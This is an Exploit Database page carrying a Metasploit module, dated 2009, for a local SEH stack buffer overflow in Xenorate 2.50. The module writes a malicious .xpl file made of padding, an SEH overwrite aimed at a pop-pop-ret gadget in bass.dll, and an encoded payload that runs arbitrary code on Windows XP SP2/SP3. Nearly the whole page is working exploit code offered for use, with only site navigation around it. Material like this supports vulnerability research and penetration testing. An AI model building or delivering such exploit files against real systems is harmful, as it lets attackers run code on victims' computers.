



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Xenorate 2.50 - '.xpl' Universal Local Buffer Overflow (SEH) (Metasploit)

EDB-ID:

10373

CVE:

EDB Verified: 

Author:

[LONEFERRET GERMAYA_X](#)

Type:

[LOCAL](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2009-12-10

Vulnerable App: 



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
##
# $Id: xenorate_xpl_bof.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Xenorate 2.50 (.xpl) universal Local
Buffer Overflow Exploit (SEH)',
      'Description' => %q{
        This module exploits a stack buffer overflow in
Xenorate 2.50
        By creating a specially crafted xpl file, an an attacker
may be able
        to execute arbitrary code.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'hack4love <hack4love [at] hotmail.com>',
          'germaya_x',
          'loneferret',
          'jduck'
        ],
      'Version' => '$Revision: 10477 $',
      'References' =>
        [
          [ 'OSVDB', '57162' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/10371' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => 'true',
        },
      'Payload' =>
        {
          'Space' => 5100,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
          'DisableNops' => true,
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [ 'Windows XP SP2 / SP3', { 'Ret' => 0x1000a4fd } ], #
pop pop ret => bass.dll v2.3.0.2
        ],
      'Privileged' => false,
      'DisclosureDate' => 'Aug 19 2009',
      'DefaultTarget' => 0))

    register_options(
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

        [
            OptString.new('FILENAME', [ false, 'The file name.',
            'msf.xpl' ]),
        ], self.class)

    end

    def exploit

        sploit = rand_text_alpha_upper(88)
        sploit << generate_seh_payload(target.ret)
        sploit << payload.encoded

        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(sploit)

    end

end

```

Tags: [Metasploit Framework](#) ([MSF](#))

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.